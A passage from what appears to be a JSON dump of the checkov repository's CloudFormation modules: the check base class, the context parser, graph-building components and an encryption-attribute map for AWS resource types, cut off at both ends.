CheckResult:\n        inspected_key = self.get_inspected_key()\n        expected_values = self.get_expected_values()\n        path_elements = inspected_key.split(\"/\")\n        matches = ContextParser.search_deep_keys(path_elements[-1], conf, [])\n        if len(matches) > 0:\n            for match in matches:\n                # CFN files are parsed differently from terraform, which causes the path search above to behave differently.\n                # The result is path parts with integer indexes, instead of strings like '[0]'. This logic replaces\n                # those, allowing inspected_keys in checks to use the same syntax.\n                # The last value shouldn't be changed, because it could be indeed a valid number\n                for i in range(0, len(match) - 1):\n                    if type(match[i]) is int:\n                        match[i] = f\"[{match[i]}]\"\n\n                if match[:-1] == path_elements:\n                    # Inspected key exists\n                    value = match[-1]\n                    if ANY_VALUE in expected_values and value is not None and (not isinstance(value, str) or value):\n                        # Key is found on the configuration - if it accepts any value, the check is PASSED\n                        return CheckResult.PASSED\n                    if isinstance(value, list) and len(value) == 1:\n                        value = value[0]\n                    if self._is_variable_dependant(value):\n                        # If the tested attribute is variable-dependant, then result is PASSED\n                        return CheckResult.PASSED\n                    if value in expected_values:\n                        return CheckResult.PASSED\n\n                    # handle boolean case sensitivity (e.g., CFN accepts the string \"true\" as a boolean)\n                    if isinstance(value, str) and value.lower() in ('true', 'false'):\n                        value = value.lower() == 'true'\n                        if value in expected_values:\n                            return CheckResult.PASSED\n                    return CheckResult.FAILED\n\n        return self.missing_block_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_expected_values(self) -> List[Any]:\n        \"\"\"\n        Override the method with the list of acceptable values if the check has more than one possible expected value, given\n        the inspected key\n        :return: List of expected values, defaults to a list of the expected value\n        \"\"\"\n        return [self.get_expected_value()]\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return True\n\n    def get_evaluated_keys(self) -> List[str]:\n        return force_list(self.get_inspected_key())\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/registry.py",
    "content": "from checkov.cloudformation.checks.resource.base_registry import Registry\n\ncfn_registry = Registry()\n"
  },
  {
    "path": "checkov/cloudformation/checks/utils/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/checks/utils/iam_cloudformation_document_to_policy_converter.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\n\ndef convert_cloudformation_conf_to_iam_policy(conf: dict[str, Any]) -> dict[str, Any]:\n    \"\"\"\n        converts terraform parsed configuration to iam policy document\n    \"\"\"\n    result = pickle_deepcopy(conf)\n    if \"Statement\" in result.keys():\n        result[\"Statement\"] = result.pop(\"Statement\")\n        for statement in map(dict, result[\"Statement\"]):\n            if \"Action\" in statement:\n                statement[\"Action\"] = str(statement.pop(\"Action\")[0])\n            if \"Resource\" in statement:\n                resources = statement.pop(\"Resource\")\n                if isinstance(resources, list):\n                    statement[\"Resource\"] = str(resources[0])\n                else:\n                    statement[\"Resource\"] = str(resources)\n            if \"NotAction\" in statement:\n                statement[\"NotAction\"] = str(statement.pop(\"NotAction\")[0])\n            if \"NotResource\" in statement:\n                not_resources = statement.pop(\"NotResource\")\n                if isinstance(not_resources, list):\n                    statement[\"NotResource\"] = str(not_resources[0])\n                else:\n                    statement[\"NotResource\"] = str(not_resources)\n            if \"Effect\" in statement:\n                statement[\"Effect\"] = str(statement.pop(\"Effect\"))\n            if \"Effect\" not in statement:\n                statement[\"Effect\"] = \"Allow\"\n    return result\n"
  },
  {
    "path": "checkov/cloudformation/context_parser.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport operator\nfrom functools import reduce\nfrom typing import List, Tuple, Optional, Generator, Any\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.typing import _SkippedCheck\nfrom checkov.common.util.suppression import collect_suppressions_for_context\n\nENDLINE = \"__endline__\"\nSTARTLINE = \"__startline__\"\n\n\nclass ContextParser:\n    \"\"\"\n    CloudFormation template context parser\n    \"\"\"\n\n    def __init__(self, cf_file: str, cf_template: dict[str, Any], cf_template_lines: List[Tuple[int, str]]) -> None:\n        self.cf_file = cf_file\n        self.cf_template = cf_template\n        self.cf_template_lines = cf_template_lines\n\n    def evaluate_default_refs(self) -> None:\n        # Get Parameter Defaults - Locate Refs in Template\n        refs = self.search_deep_keys(\"Ref\", self.cf_template, [])\n\n        for ref in refs:\n            refname = ref.pop()\n            ref.pop()  # Get rid of the 'Ref' dict key\n\n            # TODO refactor into evaluations\n            if not isinstance(refname, str):\n                continue\n            default_value = self.cf_template.get(\"Parameters\", {}).get(refname, {}).get(\"Properties\", {}).get(\"Default\")\n            if default_value is not None:\n                logging.debug(\n                    \"Replacing Ref {} in file {} with default parameter value: {}\".format(\n                        refname, self.cf_file, default_value\n                    )\n                )\n                self._set_in_dict(self.cf_template, ref, default_value)\n\n                # TODO - Add Variable Eval Message for Output\n                # Output in Checkov looks like this:\n                # Variable versioning (of /.) evaluated to value \"True\" in expression: enabled = ${var.versioning}\n\n    @staticmethod\n    def extract_cf_resource_id(cf_resource: dict[str, Any], cf_resource_name: str) -> Optional[str]:\n        if cf_resource_name == STARTLINE or cf_resource_name == ENDLINE:\n            return None\n        if \"Type\" not in cf_resource:\n            # This is not a CloudFormation resource, skip\n            return None\n        return f\"{cf_resource['Type']}.{cf_resource_name}\"\n\n    def extract_cf_resource_code_lines(\n        self, cf_resource: dict[str, Any]\n    ) -> Tuple[Optional[List[int]], Optional[List[Tuple[int, str]]]]:\n        find_lines_result_set = set(self.find_lines(cf_resource, STARTLINE))\n        if len(find_lines_result_set) >= 1:\n            start_line = min(find_lines_result_set)\n            end_line = max(self.find_lines(cf_resource, ENDLINE))\n\n            # start_line - 2: -1 to switch to 0-based indexing, and -1 to capture the resource name\n            entity_code_lines = self.cf_template_lines[start_line - 2 : end_line - 1]\n\n            # if the file did not end in a new line, and this was the last resource in the file, then we\n            # trimmed off the last line\n            if (end_line - 1) < len(self.cf_template_lines) and not self.cf_template_lines[end_line - 1][1].endswith(\n                \"\\n\"\n            ):\n                entity_code_lines.append(self.cf_template_lines[end_line - 1])\n\n            entity_code_lines = ContextParser.trim_lines(entity_code_lines)\n            entity_lines_range = [entity_code_lines[0][0], entity_code_lines[-1][0]]\n            return entity_lines_range, entity_code_lines\n        return None, None\n\n    @staticmethod\n    def trim_lines(code_lines: List[Tuple[int, str]]) -> List[Tuple[int, str]]:\n        # Removes leading and trailing lines that are only whitespace, returning a new value\n        # The passed value should be a list of tuples of line numbers and line strings (entity_code_lines)\n        start = 0\n        end = len(code_lines)\n        while start < end and not code_lines[start][1].strip():\n            start += 1\n        while end > start and not code_lines[end - 1][1].strip():\n            end -= 1\n\n        # if start == end, this will just be empty\n        return code_lines[start:end]\n\n    @staticmethod\n    def find_lines(node: Any, kv: str) -> Generator[int, None, None]:\n        # Hack to allow running checkov on json templates\n        # CF scripts that are parsed using the yaml mechanism have a magic STARTLINE and ENDLINE property\n        # CF scripts that are parsed using the json mechanism use dicts that have a marker\n        if hasattr(node, \"start_mark\") and kv == STARTLINE:\n            yield node.start_mark.line + 1\n\n        if hasattr(node, \"end_mark\") and kv == ENDLINE:\n            yield node.end_mark.line + 1\n\n        if isinstance(node, list):\n            for i in node:\n                for x in ContextParser.find_lines(i, kv):\n                    yield x\n        elif isinstance(node, dict):\n            if kv in node:\n                yield node[kv]\n\n    @staticmethod\n    def collect_skip_comments(\n        entity_code_lines: List[Tuple[int, str]], resource_config: dict[str, Any] | None = None\n    ) -> List[_SkippedCheck]:\n        skipped_checks = collect_suppressions_for_context(code_lines=entity_code_lines)\n\n        bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n        if resource_config:\n            metadata = resource_config.get(\"Metadata\")\n            if metadata:\n                ckv_skip = metadata.get(\"checkov\", {}).get(\"skip\", [])\n                bc_skip = metadata.get(\"bridgecrew\", {}).get(\"skip\", [])\n                if ckv_skip or bc_skip:\n                    for skip in itertools.chain(ckv_skip, bc_skip):\n                        skip_id = skip.get(\"id\")\n                        skip_comment = skip.get(\"comment\", \"No comment provided\")\n                        if skip_id is None:\n                            logging.warning(\"Check suppression is missing key 'id'\")\n                            continue\n\n                        skipped_check: \"_SkippedCheck\" = {\"id\": skip_id, \"suppress_comment\": skip_comment}\n                        if bc_id_mapping and skipped_check[\"id\"] in bc_id_mapping:\n                            skipped_check[\"bc_id\"] = skipped_check[\"id\"]\n                            skipped_check[\"id\"] = bc_id_mapping[skipped_check[\"id\"]]\n                        elif metadata_integration.check_metadata:\n                            skipped_check[\"bc_id\"] = metadata_integration.get_bc_id(skipped_check[\"id\"])\n\n                        skipped_checks.append(skipped_check)\n\n        return skipped_checks\n\n    @staticmethod\n    def search_deep_keys(\n        search_text: str, cfn_dict: str | list[Any] | dict[str, Any], path: list[int | str]\n    ) -> list[list[int | str]]:\n        \"\"\"Search deep for keys and get their values\"\"\"\n        keys: list[list[int | str]] = []\n        if isinstance(cfn_dict, dict):\n            for key in cfn_dict:\n                pathprop = path[:]\n                pathprop.append(key)\n                if key == search_text:\n                    pathprop.append(cfn_dict[key])\n                    keys.append(pathprop)\n                    # pop the last element off for nesting of found elements for\n                    # dict and list checks\n                    pathprop = pathprop[:-1]\n                if isinstance(cfn_dict[key], dict):\n                    keys.extend(ContextParser.search_deep_keys(search_text, cfn_dict[key], pathprop))\n                elif isinstance(cfn_dict[key], list):\n                    for index, item in enumerate(cfn_dict[key]):\n                        pathproparr = pathprop[:]\n                        pathproparr.append(index)\n                        keys.extend(ContextParser.search_deep_keys(search_text, item, pathproparr))\n        elif isinstance(cfn_dict, list):\n            for index, item in enumerate(cfn_dict):\n                pathprop = list(path)\n                pathprop.append(index)\n                keys.extend(ContextParser.search_deep_keys(search_text, item, pathprop))\n\n        return keys\n\n    def _set_in_dict(self, data_dict: dict[str, Any], map_list: list[Any], value: str) -> None:\n        v = self._get_from_dict(data_dict, map_list[:-1])\n        # save the original marks so that we do not copy in the line numbers of the parameter element\n        # but not all ref types will have these attributes\n        start = None\n        end = None\n        if hasattr(v, \"start_mark\") and hasattr(v, \"end_mark\"):\n            start = v.start_mark\n            end = v.end_mark\n\n        v[map_list[-1]] = value\n\n        if hasattr(v[map_list[-1]], \"start_mark\") and start and end:\n            v[map_list[-1]].start_mark = start\n            v[map_list[-1]].end_mark = end\n\n    @staticmethod\n    def _get_from_dict(data_dict: dict[str, Any], map_list: list[Any]) -> list[Any] | dict[str, Any]:\n        return reduce(operator.getitem, map_list, data_dict)\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/graph_builder/graph_components/block_types.py",
    "content": "from dataclasses import dataclass\n\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType\n\n\n@dataclass\nclass BlockType(CommonBlockType):\n    METADATA = \"metadata\"\n    PARAMETERS = \"parameters\"\n    RULES = \"rules\"\n    MAPPINGS = \"mappings\"\n    CONDITIONS = \"conditions\"\n    TRANSFORM = \"transform\"\n    OUTPUTS = \"outputs\"\n    GLOBALS = \"globals\"\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import List, Dict, Any, Optional\n\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.graph.graph_builder.variable_rendering.breadcrumb_metadata import BreadcrumbMetadata\n\n\nclass CloudformationBlock(Block):\n    __slots__ = (\"condition\", \"metadata\")\n\n    def __init__(\n        self,\n        name: str,\n        config: Dict[str, Any],\n        path: str,\n        block_type: str,\n        attributes: Dict[str, Any],\n        id: str = \"\",\n        source: str = \"\",\n        condition: bool = True,\n        metadata: Optional[Dict[str, Any]] = None\n    ) -> None:\n        \"\"\"\n            :param name: unique name given to the terraform block, for example: 'aws_vpc.example_name'\n            :param config: the section in tf_definitions that belong to this block\n            :param path: the file location of the block\n            :param block_type: str\n            :param attributes: dictionary of the block's original attributes in the terraform file\n        \"\"\"\n        super().__init__(name, config, path, block_type, attributes, id, source)\n        self.condition = condition\n        self.metadata = metadata\n\n    def update_attribute(\n        self, attribute_key: str,\n        attribute_value: Any,\n        change_origin_id: int | None,\n        previous_breadcrumbs: List[BreadcrumbMetadata],\n        attribute_at_dest: str | None,\n        transform_step: bool = False,\n    ) -> None:\n        super().update_attribute(\n            attribute_key=attribute_key,\n            attribute_value=attribute_value,\n            change_origin_id=change_origin_id,\n            previous_breadcrumbs=previous_breadcrumbs,\n            attribute_at_dest=attribute_at_dest,\n            transform_step=transform_step,\n        )\n\n        attribute_key_parts = attribute_key.split(\".\")\n        if attribute_key_parts:\n            obj_to_update = self.attributes\n            key_to_update = attribute_key_parts.pop()\n            for i, key in enumerate(attribute_key_parts):\n                if isinstance(obj_to_update, list):\n                    key = int(key)\n                if (isinstance(obj_to_update, dict) and key in obj_to_update) or \\\n                        (isinstance(obj_to_update, list) and isinstance(key, int) and 0 <= key < len(\n                            obj_to_update)):\n                    obj_to_update = obj_to_update[key]\n                else:\n                    attribute_key_parts.append(key_to_update)\n                    key_to_update = \".\".join(attribute_key_parts[i:])\n                    break\n\n            if isinstance(obj_to_update, list):\n                key_to_update = int(key_to_update)\n            if isinstance(obj_to_update, (dict, list)):\n                obj_to_update[key_to_update] = attribute_value\n            else:\n                logging.info(f\"Failed to update an attribute, values: {obj_to_update}, {key_to_update}, {attribute_value}\")\n\n    def update_inner_attribute(\n        self, attribute_key: str, nested_attributes: list[Any] | dict[str, Any], value_to_update: Any\n    ) -> None:\n        # this overrides the parent method, which doesn't work as expected with CloudFormation\n        pass\n\n    @staticmethod\n    def _should_add_previous_breadcrumbs(change_origin_id: Optional[int],\n                                         previous_breadcrumbs: List[BreadcrumbMetadata],\n                                         attribute_at_dest: Optional[str]) -> bool:\n        return (\n            change_origin_id is not None\n            and attribute_at_dest is not None\n            and (not previous_breadcrumbs or previous_breadcrumbs[-1].vertex_id != change_origin_id)\n        )\n\n    @staticmethod\n    def _should_set_changed_attributes(change_origin_id: Optional[int], attribute_at_dest: Optional[str]) -> bool:\n        return change_origin_id is not None and attribute_at_dest is not None\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/graph_components/generic_resource_encryption.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.graph.graph_builder import EncryptionTypes\nfrom checkov.common.graph.graph_builder.graph_components.generic_resource_encryption_base import GenericResourceEncryptionBase\nfrom checkov.common.util.data_structures_utils import get_empty_list_str\n\n\nclass GenericResourceEncryption(GenericResourceEncryptionBase):\n    def __init__(\n        self,\n        resource_type: str,\n        attribute_values_map: dict[str, list[bool] | list[str]],\n        enabled_by_default: bool = False,\n    ) -> None:\n        super().__init__(resource_type,\n                         attribute_values_map,\n                         enabled_by_default,\n                         node_to_node_encryption=\"NodeToNodeEncryptionOptions\")\n        if self.resource_type.startswith(\"AWS::\"):\n            self.default_description = EncryptionTypes.DEFAULT_KMS.value\n\n\n# This map allows dynamically creating the check for each resource type based on GenericResourceEncryption.\n# Please check out the constructor to understand all the edge cases.\nENCRYPTION_BY_RESOURCE_TYPE: dict[str, GenericResourceEncryption] = {\n    \"AWS::ECR::Repository\": GenericResourceEncryption(\n        \"AWS::ECR::Repository\",\n        {\n            \"EncryptionConfiguration.EncryptionType\": [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value],\n            \"EncryptionConfiguration.KmsKey\": get_empty_list_str(),\n        },\n    ),\n    \"AWS::Neptune::DBCluster\": GenericResourceEncryption(\n        \"AWS::Neptune::DBCluster\", {\"StorageEncrypted\": [True], \"KmsKeyId\": get_empty_list_str()}\n    ),\n    \"AWS::EFS::FileSystem\": GenericResourceEncryption(\"AWS::EFS::FileSystem\", {\"Encrypted\": [True], \"KmsKeyId\": get_empty_list_str()}),\n    \"AWS::EC2::Volume\": GenericResourceEncryption(\"AWS::EC2::Volume\", {\"Encrypted\": [True], \"KmsKeyId\": get_empty_list_str()}),\n    \"AWS::ElastiCache::ReplicationGroup\": GenericResourceEncryption(\n        \"AWS::ElastiCache::ReplicationGroup\", {\"AtRestEncryptionEnabled\": [True], \"KmsKeyId\": [\"arn\"]}\n    ),\n    \"AWS::Elasticsearch::Domain\": GenericResourceEncryption(\n        \"AWS::Elasticsearch::Domain\",\n        {\"EncryptionAtRestOptions.Enabled\": [True], \"EncryptionAtRestOptions.KmsKeyId\": get_empty_list_str(), \"NodeToNodeEncryptionOptions.Enabled\": [True]},\n    ),\n    \"AWS::MSK::Cluster\": GenericResourceEncryption(\n        \"AWS::MSK::Cluster\", {\"EncryptionInfo.EncryptionAtRest.DataVolumeKMSKeyId\": get_empty_list_str()}\n    ),\n    \"AWS::DocDB::DBCluster\": GenericResourceEncryption(\n        \"AWS::DocDB::DBCluster\", {\"StorageEncrypted\": [True], \"KmsKeyId\": get_empty_list_str()}\n    ),\n    \"AWS::CodeBuild::Project\": GenericResourceEncryption(\"AWS::CodeBuild::Project\", {\"EncryptionKey\": get_empty_list_str()}),\n    \"AWS::CodeBuild::ReportGroup\": GenericResourceEncryption(\n        \"AWS::CodeBuild::ReportGroup\",\n        {\n            \"ExportConfig.S3Destination.EncryptionDisabled\": [False],\n            \"ExportConfig.S3Destination.EncryptionKey\": get_empty_list_str(),\n        },\n    ),\n    \"AWS::Athena::WorkGroup\": GenericResourceEncryption(\n        \"AWS::Athena::WorkGroup\",\n        {\n            \"WorkGroupConfiguration.ResultConfiguration.EncryptionConfiguration.EncryptionOption\": [\n                \"SSE_S3\",\n                \"SSE_KMS\",\n                \"CSE_KMS\",\n            ],\n            \"WorkGroupConfiguration.ResultConfiguration.EncryptionConfiguration.KmsKey\": get_empty_list_str(),\n        },\n    ),\n    \"AWS::Kinesis::Stream\": GenericResourceEncryption(\n        \"AWS::Kinesis::Stream\", {\"StreamEncryption.EncryptionType\": [EncryptionTypes.KMS_VALUE.value], \"StreamEncryption.KeyId\": get_empty_list_str()}\n    ),\n    \"AWS::EKS::Cluster\": GenericResourceEncryption(\"AWS::EKS::Cluster\", {\"EncryptionConfig.Provider.KeyArn\": get_empty_list_str()}),\n    \"AWS::DynamoDB::Table\": GenericResourceEncryption(\n        \"AWS::DynamoDB::Table\",\n        {\"SSESpecification.SSEEnabled\": [True], \"SSESpecification.KMSMasterKeyId\": get_empty_list_str(), \"SSESpecification.SSEType\": get_empty_list_str()},\n        enabled_by_default=True,\n    ),\n    \"AWS::RDS::DBCluster\": GenericResourceEncryption(\"AWS::RDS::DBCluster\", {\"StorageEncrypted\": [True], \"KmsKeyId\": get_empty_list_str()}),\n    \"AWS::RDS::GlobalCluster\": GenericResourceEncryption(\"AWS::RDS::GlobalCluster\", {\"StorageEncrypted\": [True]}),\n    \"AWS::S3::Bucket\": GenericResourceEncryption(\n        \"AWS::S3::Bucket\",\n        {\n            \"BucketEncryption.ServerSideEncryptionConfiguration.ServerSideEncryptionByDefault.SSEAlgorithm\": [\n                EncryptionTypes.AWS_KMS_VALUE.value,\n                EncryptionTypes.AES256.value,\n            ],\n            \"server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.KMSMasterKeyID\": get_empty_list_str(),\n        },\n    ),\n    \"AWS::Logs::LogGroup\": GenericResourceEncryption(\n        \"AWS::Logs::LogGroup\", {\"KmsKeyId\": get_empty_list_str()}, enabled_by_default=True\n    ),\n    \"AWS::CloudTrail::Trail\": GenericResourceEncryption(\"AWS::CloudTrail::Trail\", {\"KMSKeyId\": get_empty_list_str()}),\n    \"AWS::DAX::Cluster\": GenericResourceEncryption(\"AWS::DAX::Cluster\", {\"SSESpecification.SSEEnabled\": [True]}),\n    \"AWS::Redshift::Cluster\": GenericResourceEncryption(\"AWS::Redshift::Cluster\", {\"Encrypted\": [True], \"KmsKeyId\": get_empty_list_str()}),\n    \"AWS::SNS::Topic\": GenericResourceEncryption(\"AWS::SNS::Topic\", {\"KmsMasterKeyId\": get_empty_list_str()}),\n    \"AWS::SQS::Queue\": GenericResourceEncryption(\"AWS::SQS::Queue\", {\"KmsMasterKeyId\": get_empty_list_str()}),\n    \"AWS::RDS::DBInstance\": GenericResourceEncryption(\"AWS::RDS::DBInstance\", {\"StorageEncrypted\": [True]})\n}\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/graph_to_definitions.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import List, Dict, Any, Tuple\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.parser import TemplateSections\nfrom checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock\n\n\ndef convert_graph_vertices_to_definitions(\n    vertices: List[CloudformationBlock], root_folder: str | None\n) -> Tuple[Dict[str, Dict[str, Any]], Dict[str, Dict[str, Any]]]:\n    definitions: Dict[str, Dict[str, Any]] = {}\n    breadcrumbs: Dict[str, Dict[str, Any]] = {}\n    for vertex in vertices:\n        if (vertex.block_type != BlockType.RESOURCE and vertex.block_type != BlockType.PARAMETERS) or \\\n                (vertex.block_type == BlockType.RESOURCE and not vertex.condition):\n            continue\n        block_path = vertex.path\n        block_type = TemplateSections.RESOURCES.value if vertex.block_type == 'resource' else TemplateSections.PARAMETERS.value\n        block_name = vertex.name.split('.')[-1]  # vertex.name is \"type.name\" so type.name -> [type, name]\n\n        definition = {\n            \"Type\": vertex.attributes[\"resource_type\"] if vertex.block_type == BlockType.RESOURCE else vertex.block_type,\n            \"Properties\": vertex.config or {},\n        }\n\n        if vertex.metadata:\n            definition[\"Metadata\"] = vertex.metadata\n\n        definitions.setdefault(block_path, {}).setdefault(block_type, {}).setdefault(block_name, definition)\n\n        relative_block_path = f\"/{os.path.relpath(block_path, root_folder)}\"\n        add_breadcrumbs(vertex, breadcrumbs, relative_block_path)\n    return definitions, breadcrumbs\n\n\ndef add_breadcrumbs(vertex: CloudformationBlock, breadcrumbs: Dict[str, Dict[str, Any]], relative_block_path: str) -> None:\n    vertex_breadcrumbs = vertex.breadcrumbs\n    if vertex_breadcrumbs:\n        breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex_breadcrumbs\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport re\nfrom inspect import ismethod\nfrom typing import Dict, Any, Optional, List, Union, TYPE_CHECKING, Callable, cast\n\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock\nfrom checkov.cloudformation.graph_builder.utils import GLOBALS_RESOURCE_TYPE_MAP\nfrom checkov.cloudformation.graph_builder.variable_rendering.renderer import CloudformationVariableRenderer\nfrom checkov.cloudformation.parser.cfn_keywords import IntrinsicFunctions, ConditionFunctions, ResourceAttributes, \\\n    TemplateSections\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import search_deep_keys, pickle_deepcopy\nfrom checkov.cloudformation.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE\nfrom checkov.common.graph.graph_builder.utils import filter_sub_keys\nfrom checkov.terraform.graph_builder.local_graph import update_dictionary_attribute\n\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block\n\nTOKENIZED_FIELD_PATTERN = re.compile(r'\\${([a-zA-Z0-9.]*)}')\n\n\nclass CloudformationLocalGraph(LocalGraph[CloudformationBlock]):\n    SUPPORTED_RESOURCE_ATTR_CONNECTION_KEYS = (ResourceAttributes.DEPENDS_ON, IntrinsicFunctions.CONDITION)\n    SUPPORTED_FN_CONNECTION_KEYS = (IntrinsicFunctions.GET_ATT, ConditionFunctions.IF,\n                                    IntrinsicFunctions.REF, IntrinsicFunctions.FIND_IN_MAP, IntrinsicFunctions.CONDITION)\n\n    def __init__(self, cfn_definitions: dict[str, dict[str, Any]], source: str = GraphSource.CLOUDFORMATION) -> None:\n        super().__init__()\n        self.definitions = cfn_definitions\n        self.source = source\n        self.vertices: \"list[CloudformationBlock]\" = []\n        self._vertices_indexes: \"dict[str, dict[str, int]]\" = {}\n        self.transform_pre: \"dict[str, Any]\" = {}\n        self._edges_set: \"set[Edge]\" = set()\n        self._connection_key_func = {\n            IntrinsicFunctions.GET_ATT: self._fetch_getatt_target_id,\n            ConditionFunctions.IF: self._fetch_if_target_id,\n            IntrinsicFunctions.REF: self._fetch_ref_target_id,\n            IntrinsicFunctions.FIND_IN_MAP: self._fetch_findinmap_target_id,\n            IntrinsicFunctions.CONDITION: self._fetch_connection_target_id\n        }\n\n    def build_graph(self, render_variables: bool) -> None:\n        self._create_vertices()\n        logging.info(f\"[CloudformationLocalGraph] created {len(self.vertices)} vertices\")\n        self._add_sam_globals()\n        self._create_edges()\n        logging.info(f\"[CloudformationLocalGraph] created {len(self.edges)} edges\")\n        if render_variables:\n            logging.info(f\"Rendering variables, graph has {len(self.vertices)} vertices and {len(self.edges)} edges\")\n            renderer = CloudformationVariableRenderer(self)\n            renderer.render_variables_from_local_graph()\n            self.update_vertices_configs()\n            self.update_vertices_breadcrumbs()\n        self.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE)\n\n    def _create_vertices(self) -> None:\n        for file_path, file_conf in self.definitions.items():\n            self._create_section_vertices(\n                file_path,\n                file_conf,\n                TemplateSections.RESOURCES,\n                BlockType.RESOURCE,\n                self.extract_resource_attributes,  # type:ignore[arg-type]\n            )\n            self._create_section_vertices(file_path, file_conf, TemplateSections.OUTPUTS, BlockType.OUTPUTS)\n            self._create_section_vertices(file_path, file_conf, TemplateSections.MAPPINGS, BlockType.MAPPINGS)\n            self._create_section_vertices(file_path, file_conf, TemplateSections.CONDITIONS,\n                                          BlockType.CONDITIONS)\n            self._create_section_vertices(file_path, file_conf, TemplateSections.PARAMETERS,\n                                          BlockType.PARAMETERS)\n            self._create_section_vertices(file_path, file_conf, TemplateSections.GLOBALS,\n                                          BlockType.GLOBALS)\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n\n    def extract_resource_attributes(self, resource: DictNode) -> DictNode:\n        resource_type = resource.get(\"Type\")\n        attributes: \"DictNode\" = resource.get(\"Properties\", {})\n        if not isinstance(attributes, dict):\n            attributes = DictNode({}, resource.start_mark, resource.end_mark)\n        attributes[\"resource_type\"] = resource_type\n        attributes[START_LINE] = resource.get(START_LINE)\n        attributes[END_LINE] = resource.get(END_LINE)\n        attributes.start_mark = resource.start_mark\n        attributes.end_mark = attributes.end_mark\n        return attributes\n\n    def _create_section_vertices(\n        self,\n        file_path: str,\n        file_conf: dict[str, Any],\n        section: TemplateSections,\n        block_type: str,\n        attributes_operator: Callable[[dict[str, Any]], dict[str, Any]] = lambda a: a,\n    ) -> None:\n        for name, obj in get_only_dict_items(file_conf.get(section.value, {})).items():\n            is_resources_section = section == TemplateSections.RESOURCES\n            attributes = attributes_operator(obj)\n            block_name = name if not is_resources_section else f\"{obj.get('Type', 'UnTyped')}.{name}\"\n            config = obj if not is_resources_section else cast(\"dict[str, Any]\", obj.get(\"Properties\"))\n            metadata = obj.get(\"Metadata\")\n            id = f\"{block_type}.{block_name}\" if not is_resources_section else block_name\n            self.vertices.append(CloudformationBlock(\n                name=block_name,\n                config=config,\n                path=file_path,\n                block_type=block_type,\n                attributes=attributes,\n                id=id,\n                source=self.source,\n                metadata=metadata\n            ))\n\n            if not self._vertices_indexes.get(file_path):\n                self._vertices_indexes[file_path] = {}\n            self._vertices_indexes[file_path][name] = len(self.vertices) - 1\n\n    def _add_sam_globals(self) -> None:\n        # behaviour regarding overrides\n        # https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-template-anatomy-globals.html#sam-specification-template-anatomy-globals-overrideable\n        for index in self.vertices_by_block_type.get(BlockType.GLOBALS, []):\n            globals_vertex = self.vertices[index]\n            related_vertices = [\n                vertex\n                for vertex in self.vertices\n                if vertex.block_type == BlockType.RESOURCE\n                and vertex.path == globals_vertex.path\n                and vertex.attributes.get(\"resource_type\") == GLOBALS_RESOURCE_TYPE_MAP.get(globals_vertex.name)\n            ]\n\n            for property, value in globals_vertex.attributes.items():\n                if property.endswith((START_LINE, END_LINE)):\n                    continue\n                if property.startswith(\"Tags\"):\n                    # TODO: support Tags properly\n                    continue\n\n                for vertex in related_vertices:\n                    if property not in vertex.attributes:\n                        self.update_vertex_attribute(\n                            vertex_index=self.vertices.index(vertex),\n                            attribute_key=property,\n                            attribute_value=value,\n                            change_origin_id=index,\n                            attribute_at_dest=property,\n                            transform_step=True,\n                        )\n                    elif isinstance(value, list):\n                        # Remove duplicates\n                        list_updated_value = [*vertex.attributes[property], *value]\n                        list_updated_value_unique = []\n                        for item in list_updated_value:\n                            if item not in list_updated_value_unique:\n                                list_updated_value_unique.append(item)\n                        self.update_vertex_attribute(\n                            vertex_index=self.vertices.index(vertex),\n                            attribute_key=property,\n                            attribute_value=list_updated_value_unique,\n                            change_origin_id=index,\n                            attribute_at_dest=property,\n                            transform_step=True,\n                        )\n\n    def update_vertices_breadcrumbs(self) -> None:\n        \"\"\"\n        The function processes each vertex's breadcrumbs:\n        1. Get more data to each vertex in breadcrumb (name, path, hash and type)\n        \"\"\"\n        for vertex in self.vertices:\n            for attribute_key, 